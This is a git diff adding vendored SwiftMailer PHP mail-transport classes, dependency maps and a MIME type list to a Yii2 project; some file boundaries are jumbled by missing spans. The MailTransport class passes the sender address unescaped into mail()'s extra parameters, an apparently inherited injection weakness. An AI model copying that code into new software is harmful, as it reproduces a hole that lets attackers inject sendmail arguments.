$transport->start(); + } + + return $transport->send($message, $failedRecipients); + } catch (Swift_TransportException $e) { + $this->_killCurrentTransport(); + } + } + + if (count($this->_transports) == 0) { + throw new Swift_TransportException( + 'All Transports in FailoverTransport failed, or no Transports available' + ); + } + + return $sent; + } + + protected function _getNextTransport() + { + if (!isset($this->_currentTransport)) { + $this->_currentTransport = parent::_getNextTransport(); + } + + return $this->_currentTransport; + } + + protected function _killCurrentTransport() + { + $this->_currentTransport = null; + parent::_killCurrentTransport(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/IoBuffer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/IoBuffer.php new file mode 100644 index 00000000..71b3f1e5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/IoBuffer.php @@ -0,0 +1,67 @@ +_transports = $transports; + $this->_deadTransports = array(); + } + + /** + * Get $transports to delegate to. + * + * @return Swift_Transport[] + */ + public function getTransports() + { + return array_merge($this->_transports, $this->_deadTransports); + } + + /** + * Test if this Transport mechanism has started. + * + * @return bool + */ + public function isStarted() + { + return count($this->_transports) > 0; + } + + /** + * Start this Transport mechanism. + */ + public function start() + { + $this->_transports = array_merge($this->_transports, $this->_deadTransports); + } + + /** + * Stop this Transport mechanism. + */ + public function stop() + { + foreach ($this->_transports as $transport) { + $transport->stop(); + } + } + + /** + * Send the given Message. + * + * Recipient/sender data will be retrieved from the Message API. + * The return value is the number of recipients who were accepted for delivery. + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + $maxTransports = count($this->_transports); + $sent = 0; + + for ($i = 0; $i < $maxTransports + && $transport = $this->_getNextTransport(); ++$i) { + try { + if (!$transport->isStarted()) { + $transport->start(); + } + if ($sent = $transport->send($message, $failedRecipients)) { + break; + } + } catch (Swift_TransportException $e) { + $this->_killCurrentTransport(); + } + } + + if (count($this->_transports) == 0) { + throw new Swift_TransportException( + 'All Transports in LoadBalancedTransport failed, or no Transports available' + ); + } + + return $sent; + } + + /** + * Register a plugin. + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + foreach ($this->_transports as $transport) { + $transport->registerPlugin($plugin); + } + } + + /** + * Rotates the transport list around and returns the first instance. + * + * @return Swift_Transport + */ + protected function _getNextTransport() + { + if ($next = array_shift($this->_transports)) { + $this->_transports[] = $next; + } + + return $next; + } + + /** + * Tag the currently used (top of stack) transport as dead/useless. + */ + protected function _killCurrentTransport() + { + if ($transport = array_pop($this->_transports)) { + try { + $transport->stop(); + } catch (Exception $e) { + } + $this->_deadTransports[] = $transport; + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/MailInvoker.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/MailInvoker.php new file mode 100644 index 00000000..77489ced --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/MailInvoker.php @@ -0,0 +1,32 @@ +_invoker = $invoker; + $this->_eventDispatcher = $eventDispatcher; + } + + /** + * Not used. + */ + public function isStarted() + { + return false; + } + + /** + * Not used. + */ + public function start() + { + } + + /** + * Not used. + */ + public function stop() + { + } + + /** + * Set the additional parameters used on the mail() function. + * + * This string is formatted for sprintf() where %s is the sender address. + * + * @param string $params + * + * @return Swift_Transport_MailTransport + */ + public function setExtraParams($params) + { + $this->_extraParams = $params; + + return $this; + } + + /** + * Get the additional parameters used on the mail() function. + * + * This string is formatted for sprintf() where %s is the sender address. + * + * @return string + */ + public function getExtraParams() + { + return $this->_extraParams; + } + + /** + * Send the given Message. + * + * Recipient/sender data will be retrieved from the Message API. + * The return value is the number of recipients who were accepted for delivery. + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + $failedRecipients = (array) $failedRecipients; + + if ($evt = $this->_eventDispatcher->createSendEvent($this, $message)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeSendPerformed'); + if ($evt->bubbleCancelled()) { + return 0; + } + } + + $count = ( + count((array) $message->getTo()) + + count((array) $message->getCc()) + + count((array) $message->getBcc()) + ); + + $toHeader = $message->getHeaders()->get('To'); + $subjectHeader = $message->getHeaders()->get('Subject'); + + if (!$toHeader) { + throw new Swift_TransportException( + 'Cannot send message without a recipient' + ); + } + $to = $toHeader->getFieldBody(); + $subject = $subjectHeader ? $subjectHeader->getFieldBody() : ''; + + $reversePath = $this->_getReversePath($message); + + // Remove headers that would otherwise be duplicated + $message->getHeaders()->remove('To'); + $message->getHeaders()->remove('Subject'); + + $messageStr = $message->toString(); + + $message->getHeaders()->set($toHeader); + $message->getHeaders()->set($subjectHeader); + + // Separate headers from body + if (false !== $endHeaders = strpos($messageStr, "\r\n\r\n")) { + $headers = substr($messageStr, 0, $endHeaders)."\r\n"; //Keep last EOL + $body = substr($messageStr, $endHeaders + 4); + } else { + $headers = $messageStr."\r\n"; + $body = ''; + } + + unset($messageStr); + + if ("\r\n" != PHP_EOL) { + // Non-windows (not using SMTP) + $headers = str_replace("\r\n", PHP_EOL, $headers); + $body = str_replace("\r\n", PHP_EOL, $body); + } else { + // Windows, using SMTP + $headers = str_replace("\r\n.", "\r\n..", $headers); + $body = str_replace("\r\n.", "\r\n..", $body); + } + + if ($this->_invoker->mail($to, $subject, $body, $headers, + sprintf($this->_extraParams, $reversePath))) { + if ($evt) { + $evt->setResult(Swift_Events_SendEvent::RESULT_SUCCESS); + $evt->setFailedRecipients($failedRecipients); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + } else { + $failedRecipients = array_merge( + $failedRecipients, + array_keys((array) $message->getTo()), + array_keys((array) $message->getCc()), + array_keys((array) $message->getBcc()) + ); + + if ($evt) { + $evt->setResult(Swift_Events_SendEvent::RESULT_FAILED); + $evt->setFailedRecipients($failedRecipients); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + $message->generateId(); + + $count = 0; + } + + return $count; + } + + /** + * Register a plugin. + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + $this->_eventDispatcher->bindEventListener($plugin); + } + + /** Determine the best-use reverse path for this message */ + private function _getReversePath(Swift_Mime_Message $message) + { + $return = $message->getReturnPath(); + $sender = $message->getSender(); + $from = $message->getFrom(); + $path = null; + if (!empty($return)) { + $path = $return; + } elseif (!empty($sender)) { + $keys = array_keys($sender); + $path = array_shift($keys); + } elseif (!empty($from)) { + $keys = array_keys($from); + $path = array_shift($keys); + } + + return $path; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/NullTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/NullTransport.php new file mode 100644 index 00000000..f87cfbf3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/NullTransport.php @@ -0,0 +1,93 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Pretends messages have been sent, but just ignores them. + * + * @author Fabien Potencier + */ +class Swift_Transport_NullTransport implements Swift_Transport +{ + /** The event dispatcher from the plugin API */ + private $_eventDispatcher; + + /** + * Constructor. + */ + public function __construct(Swift_Events_EventDispatcher $eventDispatcher) + { + $this->_eventDispatcher = $eventDispatcher; + } + + /** + * Tests if this Transport mechanism has started. + * + * @return bool + */ + public function isStarted() + { + return true; + } + + /** + * Starts this Transport mechanism. + */ + public function start() + { + } + + /** + * Stops this Transport mechanism. + */ + public function stop() + { + } + + /** + * Sends the given message. + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int The number of sent emails + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + if ($evt = $this->_eventDispatcher->createSendEvent($this, $message)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeSendPerformed'); + if ($evt->bubbleCancelled()) { + return 0; + } + } + + if ($evt) { + $evt->setResult(Swift_Events_SendEvent::RESULT_SUCCESS); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + $count = ( + count((array) $message->getTo()) + + count((array) $message->getCc()) + + count((array) $message->getBcc()) + ); + + return $count; + } + + /** + * Register a plugin. + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + $this->_eventDispatcher->bindEventListener($plugin); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SendmailTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SendmailTransport.php new file mode 100644 index 00000000..c508cb13 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SendmailTransport.php @@ -0,0 +1,159 @@ + 30, + 'blocking' => 1, + 'command' => '/usr/sbin/sendmail -bs', + 'type' => Swift_Transport_IoBuffer::TYPE_PROCESS, + ); + + /** + * Create a new SendmailTransport with $buf for I/O. + * + * @param Swift_Transport_IoBuffer $buf + * @param Swift_Events_EventDispatcher $dispatcher + */ + public function __construct(Swift_Transport_IoBuffer $buf, Swift_Events_EventDispatcher $dispatcher) + { + parent::__construct($buf, $dispatcher); + } + + /** + * Start the standalone SMTP session if running in -bs mode. + */ + public function start() + { + if (false !== strpos($this->getCommand(), ' -bs')) { + parent::start(); + } + } + + /** + * Set the command to invoke. + * + * If using -t mode you are strongly advised to include -oi or -i in the flags. + * For example: /usr/sbin/sendmail -oi -t + * Swift will append a -f flag if one is not present. + * + * The recommended mode is "-bs" since it is interactive and failure notifications + * are hence possible. + * + * @param string $command + * + * @return Swift_Transport_SendmailTransport + */ + public function setCommand($command) + { + $this->_params['command'] = $command; + + return $this; + } + + /** + * Get the sendmail command which will be invoked. + * + * @return string + */ + public function getCommand() + { + return $this->_params['command']; + } + + /** + * Send the given Message. + * + * Recipient/sender data will be retrieved from the Message API. + * + * The return value is the number of recipients who were accepted for delivery. + * NOTE: If using 'sendmail -t' you will not be aware of any failures until + * they bounce (i.e. send() will always return 100% success). + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + $failedRecipients = (array) $failedRecipients; + $command = $this->getCommand(); + $buffer = $this->getBuffer(); + + if (false !== strpos($command, ' -t')) { + if ($evt = $this->_eventDispatcher->createSendEvent($this, $message)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeSendPerformed'); + if ($evt->bubbleCancelled()) { + return 0; + } + } + + if (false === strpos($command, ' -f')) { + $command .= ' -f'.escapeshellarg($this->_getReversePath($message)); + } + + $buffer->initialize(array_merge($this->_params, array('command' => $command))); + + if (false === strpos($command, ' -i') && false === strpos($command, ' -oi')) { + $buffer->setWriteTranslations(array("\r\n" => "\n", "\n." => "\n..")); + } else { + $buffer->setWriteTranslations(array("\r\n" => "\n")); + } + + $count = count((array) $message->getTo()) + + count((array) $message->getCc()) + + count((array) $message->getBcc()) + ; + $message->toByteStream($buffer); + $buffer->flushBuffers(); + $buffer->setWriteTranslations(array()); + $buffer->terminate(); + + if ($evt) { + $evt->setResult(Swift_Events_SendEvent::RESULT_SUCCESS); + $evt->setFailedRecipients($failedRecipients); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + $message->generateId(); + } elseif (false !== strpos($command, ' -bs')) { + $count = parent::send($message, $failedRecipients); + } else { + $this->_throwException(new Swift_TransportException( + 'Unsupported sendmail command flags ['.$command.']. '. + 'Must be one of "-bs" or "-t" but can include additional flags.' + )); + } + + return $count; + } + + /** Get the params to initialize the buffer */ + protected function _getBufferParams() + { + return $this->_params; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SimpleMailInvoker.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SimpleMailInvoker.php new file mode 100644 index 00000000..21e629a6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/SimpleMailInvoker.php @@ -0,0 +1,39 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Stores Messages in a queue. + * + * @author Fabien Potencier + */ +class Swift_Transport_SpoolTransport implements Swift_Transport +{ + /** The spool instance */ + private $_spool; + + /** The event dispatcher from the plugin API */ + private $_eventDispatcher; + + /** + * Constructor. + */ + public function __construct(Swift_Events_EventDispatcher $eventDispatcher, Swift_Spool $spool = null) + { + $this->_eventDispatcher = $eventDispatcher; + $this->_spool = $spool; + } + + /** + * Sets the spool object. + * + * @param Swift_Spool $spool + * + * @return Swift_Transport_SpoolTransport + */ + public function setSpool(Swift_Spool $spool) + { + $this->_spool = $spool; + + return $this; + } + + /** + * Get the spool object. + * + * @return Swift_Spool + */ + public function getSpool() + { + return $this->_spool; + } + + /** + * Tests if this Transport mechanism has started. + * + * @return bool + */ + public function isStarted() + { + return true; + } + + /** + * Starts this Transport mechanism. + */ + public function start() + { + } + + /** + * Stops this Transport mechanism. + */ + public function stop() + { + } + + /** + * Sends the given message. + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int The number of sent e-mail's + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + if ($evt = $this->_eventDispatcher->createSendEvent($this, $message)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeSendPerformed'); + if ($evt->bubbleCancelled()) { + return 0; + } + } + + $success = $this->_spool->queueMessage($message); + + if ($evt) { + $evt->setResult($success ? Swift_Events_SendEvent::RESULT_SUCCESS : Swift_Events_SendEvent::RESULT_FAILED); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + return 1; + } + + /** + * Register a plugin. + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + $this->_eventDispatcher->bindEventListener($plugin); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/StreamBuffer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/StreamBuffer.php new file mode 100644 index 00000000..53e2ffa8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/StreamBuffer.php @@ -0,0 +1,321 @@ +_replacementFactory = $replacementFactory; + } + + /** + * Perform any initialization needed, using the given $params. + * + * Parameters will vary depending upon the type of IoBuffer used. + * + * @param array $params + */ + public function initialize(array $params) + { + $this->_params = $params; + switch ($params['type']) { + case self::TYPE_PROCESS: + $this->_establishProcessConnection(); + break; + case self::TYPE_SOCKET: + default: + $this->_establishSocketConnection(); + break; + } + } + + /** + * Set an individual param on the buffer (e.g. switching to SSL). + * + * @param string $param + * @param mixed $value + */ + public function setParam($param, $value) + { + if (isset($this->_stream)) { + switch ($param) { + case 'timeout': + if ($this->_stream) { + stream_set_timeout($this->_stream, $value); + } + break; + + case 'blocking': + if ($this->_stream) { + stream_set_blocking($this->_stream, 1); + } + + } + } + $this->_params[$param] = $value; + } + + public function startTLS() + { + return stream_socket_enable_crypto($this->_stream, true, STREAM_CRYPTO_METHOD_TLS_CLIENT); + } + + /** + * Perform any shutdown logic needed. + */ + public function terminate() + { + if (isset($this->_stream)) { + switch ($this->_params['type']) { + case self::TYPE_PROCESS: + fclose($this->_in); + fclose($this->_out); + proc_close($this->_stream); + break; + case self::TYPE_SOCKET: + default: + fclose($this->_stream); + break; + } + } + $this->_stream = null; + $this->_out = null; + $this->_in = null; + } + + /** + * Set an array of string replacements which should be made on data written + * to the buffer. + * + * This could replace LF with CRLF for example. + * + * @param string[] $replacements + */ + public function setWriteTranslations(array $replacements) + { + foreach ($this->_translations as $search => $replace) { + if (!isset($replacements[$search])) { + $this->removeFilter($search); + unset($this->_translations[$search]); + } + } + + foreach ($replacements as $search => $replace) { + if (!isset($this->_translations[$search])) { + $this->addFilter( + $this->_replacementFactory->createFilter($search, $replace), $search + ); + $this->_translations[$search] = true; + } + } + } + + /** + * Get a line of output (including any CRLF). + * + * The $sequence number comes from any writes and may or may not be used + * depending upon the implementation. + * + * @param int $sequence of last write to scan from + * + * @return string + * + * @throws Swift_IoException + */ + public function readLine($sequence) + { + if (isset($this->_out) && !feof($this->_out)) { + $line = fgets($this->_out); + if (strlen($line) == 0) { + $metas = stream_get_meta_data($this->_out); + if ($metas['timed_out']) { + throw new Swift_IoException( + 'Connection to '. + $this->_getReadConnectionDescription(). + ' Timed Out' + ); + } + } + + return $line; + } + } + + /** + * Reads $length bytes from the stream into a string and moves the pointer + * through the stream by $length. + * + * If less bytes exist than are requested the remaining bytes are given instead. + * If no bytes are remaining at all, boolean false is returned. + * + * @param int $length + * + * @return string|bool + * + * @throws Swift_IoException + */ + public function read($length) + { + if (isset($this->_out) && !feof($this->_out)) { + $ret = fread($this->_out, $length); + if (strlen($ret) == 0) { + $metas = stream_get_meta_data($this->_out); + if ($metas['timed_out']) { + throw new Swift_IoException( + 'Connection to '. + $this->_getReadConnectionDescription(). + ' Timed Out' + ); + } + } + + return $ret; + } + } + + /** Not implemented */ + public function setReadPointer($byteOffset) + { + } + + /** Flush the stream contents */ + protected function _flush() + { + if (isset($this->_in)) { + fflush($this->_in); + } + } + + /** Write this bytes to the stream */ + protected function _commit($bytes) + { + if (isset($this->_in)) { + $bytesToWrite = strlen($bytes); + $totalBytesWritten = 0; + + while ($totalBytesWritten < $bytesToWrite) { + $bytesWritten = fwrite($this->_in, substr($bytes, $totalBytesWritten)); + if (false === $bytesWritten || 0 === $bytesWritten) { + break; + } + + $totalBytesWritten += $bytesWritten; + } + + if ($totalBytesWritten > 0) { + return ++$this->_sequence; + } + } + } + + /** + * Establishes a connection to a remote server. + */ + private function _establishSocketConnection() + { + $host = $this->_params['host']; + if (!empty($this->_params['protocol'])) { + $host = $this->_params['protocol'].'://'.$host; + } + $timeout = 15; + if (!empty($this->_params['timeout'])) { + $timeout = $this->_params['timeout']; + } + $options = array(); + if (!empty($this->_params['sourceIp'])) { + $options['socket']['bindto'] = $this->_params['sourceIp'].':0'; + } + $this->_stream = @stream_socket_client($host.':'.$this->_params['port'], $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, stream_context_create($options)); + if (false === $this->_stream) { + throw new Swift_TransportException( + 'Connection could not be established with host '.$this->_params['host']. + ' ['.$errstr.' #'.$errno.']' + ); + } + if (!empty($this->_params['blocking'])) { + stream_set_blocking($this->_stream, 1); + } else { + stream_set_blocking($this->_stream, 0); + } + stream_set_timeout($this->_stream, $timeout); + $this->_in = & $this->_stream; + $this->_out = & $this->_stream; + } + + /** + * Opens a process for input/output. + */ + private function _establishProcessConnection() + { + $command = $this->_params['command']; + $descriptorSpec = array( + 0 => array('pipe', 'r'), + 1 => array('pipe', 'w'), + 2 => array('pipe', 'w'), + ); + $this->_stream = proc_open($command, $descriptorSpec, $pipes); + stream_set_blocking($pipes[2], 0); + if ($err = stream_get_contents($pipes[2])) { + throw new Swift_TransportException( + 'Process could not be started ['.$err.']' + ); + } + $this->_in = & $pipes[0]; + $this->_out = & $pipes[1]; + } + + private function _getReadConnectionDescription() + { + switch ($this->_params['type']) { + case self::TYPE_PROCESS: + return 'Process '.$this->_params['command']; + break; + + case self::TYPE_SOCKET: + default: + $host = $this->_params['host']; + if (!empty($this->_params['protocol'])) { + $host = $this->_params['protocol'].'://'.$host; + } + $host .= ':'.$this->_params['port']; + + return $host; + break; + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/TransportException.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/TransportException.php new file mode 100644 index 00000000..bdcd23bb --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/TransportException.php @@ -0,0 +1,27 @@ + + */ +class Swift_Validate +{ + /** + * Grammar Object + * + * @var Swift_Mime_Grammar + */ + private static $grammar = null; + + /** + * Checks if an e-mail address matches the current grammars. + * + * @param string $email + * + * @return bool + */ + public static function email($email) + { + if (self::$grammar === null) { + self::$grammar = Swift_DependencyContainer::getInstance() + ->lookup('mime.grammar'); + } + + return (bool) preg_match( + '/^'.self::$grammar->getDefinition('addr-spec').'$/D', + $email + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/cache_deps.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/cache_deps.php new file mode 100644 index 00000000..6023448e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/cache_deps.php @@ -0,0 +1,23 @@ +register('cache') + ->asAliasOf('cache.array') + + ->register('tempdir') + ->asValue('/tmp') + + ->register('cache.null') + ->asSharedInstanceOf('Swift_KeyCache_NullKeyCache') + + ->register('cache.array') + ->asSharedInstanceOf('Swift_KeyCache_ArrayKeyCache') + ->withDependencies(array('cache.inputstream')) + + ->register('cache.disk') + ->asSharedInstanceOf('Swift_KeyCache_DiskKeyCache') + ->withDependencies(array('cache.inputstream', 'tempdir')) + + ->register('cache.inputstream') + ->asNewInstanceOf('Swift_KeyCache_SimpleKeyCacheInputStream') +; diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/message_deps.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/message_deps.php new file mode 100644 index 00000000..64d69d21 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/message_deps.php @@ -0,0 +1,9 @@ +register('message.message') + ->asNewInstanceOf('Swift_Message') + + ->register('message.mimepart') + ->asNewInstanceOf('Swift_MimePart') +; diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/mime_deps.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/mime_deps.php new file mode 100644 index 00000000..04f394b3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/mime_deps.php @@ -0,0 +1,123 @@ +register('properties.charset') + ->asValue('utf-8') + + ->register('mime.grammar') + ->asSharedInstanceOf('Swift_Mime_Grammar') + + ->register('mime.message') + ->asNewInstanceOf('Swift_Mime_SimpleMessage') + ->withDependencies(array( + 'mime.headerset', + 'mime.qpcontentencoder', + 'cache', + 'mime.grammar', + 'properties.charset', + )) + + ->register('mime.part') + ->asNewInstanceOf('Swift_Mime_MimePart') + ->withDependencies(array( + 'mime.headerset', + 'mime.qpcontentencoder', + 'cache', + 'mime.grammar', + 'properties.charset', + )) + + ->register('mime.attachment') + ->asNewInstanceOf('Swift_Mime_Attachment') + ->withDependencies(array( + 'mime.headerset', + 'mime.base64contentencoder', + 'cache', + 'mime.grammar', + )) + ->addConstructorValue($swift_mime_types) + + ->register('mime.embeddedfile') + ->asNewInstanceOf('Swift_Mime_EmbeddedFile') + ->withDependencies(array( + 'mime.headerset', + 'mime.base64contentencoder', + 'cache', + 'mime.grammar', + )) + ->addConstructorValue($swift_mime_types) + + ->register('mime.headerfactory') + ->asNewInstanceOf('Swift_Mime_SimpleHeaderFactory') + ->withDependencies(array( + 'mime.qpheaderencoder', + 'mime.rfc2231encoder', + 'mime.grammar', + 'properties.charset', + )) + + ->register('mime.headerset') + ->asNewInstanceOf('Swift_Mime_SimpleHeaderSet') + ->withDependencies(array('mime.headerfactory', 'properties.charset')) + + ->register('mime.qpheaderencoder') + ->asNewInstanceOf('Swift_Mime_HeaderEncoder_QpHeaderEncoder') + ->withDependencies(array('mime.charstream')) + + ->register('mime.base64headerencoder') + ->asNewInstanceOf('Swift_Mime_HeaderEncoder_Base64HeaderEncoder') + ->withDependencies(array('mime.charstream')) + + ->register('mime.charstream') + ->asNewInstanceOf('Swift_CharacterStream_NgCharacterStream') + ->withDependencies(array('mime.characterreaderfactory', 'properties.charset')) + + ->register('mime.bytecanonicalizer') + ->asSharedInstanceOf('Swift_StreamFilters_ByteArrayReplacementFilter') + ->addConstructorValue(array(array(0x0D, 0x0A), array(0x0D), array(0x0A))) + ->addConstructorValue(array(array(0x0A), array(0x0A), array(0x0D, 0x0A))) + + ->register('mime.characterreaderfactory') + ->asSharedInstanceOf('Swift_CharacterReaderFactory_SimpleCharacterReaderFactory') + + ->register('mime.safeqpcontentencoder') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_QpContentEncoder') + ->withDependencies(array('mime.charstream', 'mime.bytecanonicalizer')) + + ->register('mime.rawcontentencoder') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_RawContentEncoder') + + ->register('mime.nativeqpcontentencoder') + ->withDependencies(array('properties.charset')) + ->asNewInstanceOf('Swift_Mime_ContentEncoder_NativeQpContentEncoder') + + ->register('mime.qpcontentencoderproxy') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_QpContentEncoderProxy') + ->withDependencies(array('mime.safeqpcontentencoder', 'mime.nativeqpcontentencoder', 'properties.charset')) + + ->register('mime.7bitcontentencoder') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_PlainContentEncoder') + ->addConstructorValue('7bit') + ->addConstructorValue(true) + + ->register('mime.8bitcontentencoder') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_PlainContentEncoder') + ->addConstructorValue('8bit') + ->addConstructorValue(true) + + ->register('mime.base64contentencoder') + ->asSharedInstanceOf('Swift_Mime_ContentEncoder_Base64ContentEncoder') + + ->register('mime.rfc2231encoder') + ->asNewInstanceOf('Swift_Encoder_Rfc2231Encoder') + ->withDependencies(array('mime.charstream')) + + // As of PHP 5.4.7, the quoted_printable_encode() function behaves correctly. + // see https://github.com/php/php-src/commit/18bb426587d62f93c54c40bf8535eb8416603629 + ->register('mime.qpcontentencoder') + ->asAliasOf(version_compare(phpversion(), '5.4.7', '>=') ? 'mime.qpcontentencoderproxy' : 'mime.safeqpcontentencoder') +; + +unset($swift_mime_types); diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/transport_deps.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/transport_deps.php new file mode 100644 index 00000000..77e432cf --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/dependency_maps/transport_deps.php @@ -0,0 +1,76 @@ +register('transport.smtp') + ->asNewInstanceOf('Swift_Transport_EsmtpTransport') + ->withDependencies(array( + 'transport.buffer', + array('transport.authhandler'), + 'transport.eventdispatcher', + )) + + ->register('transport.sendmail') + ->asNewInstanceOf('Swift_Transport_SendmailTransport') + ->withDependencies(array( + 'transport.buffer', + 'transport.eventdispatcher', + )) + + ->register('transport.mail') + ->asNewInstanceOf('Swift_Transport_MailTransport') + ->withDependencies(array('transport.mailinvoker', 'transport.eventdispatcher')) + + ->register('transport.loadbalanced') + ->asNewInstanceOf('Swift_Transport_LoadBalancedTransport') + + ->register('transport.failover') + ->asNewInstanceOf('Swift_Transport_FailoverTransport') + + ->register('transport.spool') + ->asNewInstanceOf('Swift_Transport_SpoolTransport') + ->withDependencies(array('transport.eventdispatcher')) + + ->register('transport.null') + ->asNewInstanceOf('Swift_Transport_NullTransport') + ->withDependencies(array('transport.eventdispatcher')) + + ->register('transport.mailinvoker') + ->asSharedInstanceOf('Swift_Transport_SimpleMailInvoker') + + ->register('transport.buffer') + ->asNewInstanceOf('Swift_Transport_StreamBuffer') + ->withDependencies(array('transport.replacementfactory')) + + ->register('transport.authhandler') + ->asNewInstanceOf('Swift_Transport_Esmtp_AuthHandler') + ->withDependencies(array( + array( + 'transport.crammd5auth', + 'transport.loginauth', + 'transport.plainauth', + 'transport.ntlmauth', + 'transport.xoauth2auth', + ), + )) + + ->register('transport.crammd5auth') + ->asNewInstanceOf('Swift_Transport_Esmtp_Auth_CramMd5Authenticator') + + ->register('transport.loginauth') + ->asNewInstanceOf('Swift_Transport_Esmtp_Auth_LoginAuthenticator') + + ->register('transport.plainauth') + ->asNewInstanceOf('Swift_Transport_Esmtp_Auth_PlainAuthenticator') + + ->register('transport.xoauth2auth') + ->asNewInstanceOf('Swift_Transport_Esmtp_Auth_XOAuth2Authenticator') + + ->register('transport.ntlmauth') + ->asNewInstanceOf('Swift_Transport_Esmtp_Auth_NTLMAuthenticator') + + ->register('transport.eventdispatcher') + ->asNewInstanceOf('Swift_Events_SimpleEventDispatcher') + + ->register('transport.replacementfactory') + ->asSharedInstanceOf('Swift_StreamFilters_StringReplacementFilterFactory') +; diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/mime_types.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/mime_types.php new file mode 100644 index 00000000..2d7b98dc --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/mime_types.php @@ -0,0 +1,1007 @@ + 'text/vnd.in3d.3dml', + '3ds' => 'image/x-3ds', + '3g2' => 'video/3gpp2', + '3gp' => 'video/3gpp', + '7z' => 'application/x-7z-compressed', + 'aab' => 'application/x-authorware-bin', + 'aac' => 'audio/x-aac', + 'aam' => 'application/x-authorware-map', + 'aas' => 'application/x-authorware-seg', + 'abw' => 'application/x-abiword', + 'ac' => 'application/pkix-attr-cert', + 'acc' => 'application/vnd.americandynamics.acc', + 'ace' => 'application/x-ace-compressed', + 'acu' => 'application/vnd.acucobol', + 'acutc' => 'application/vnd.acucorp', + 'adp' 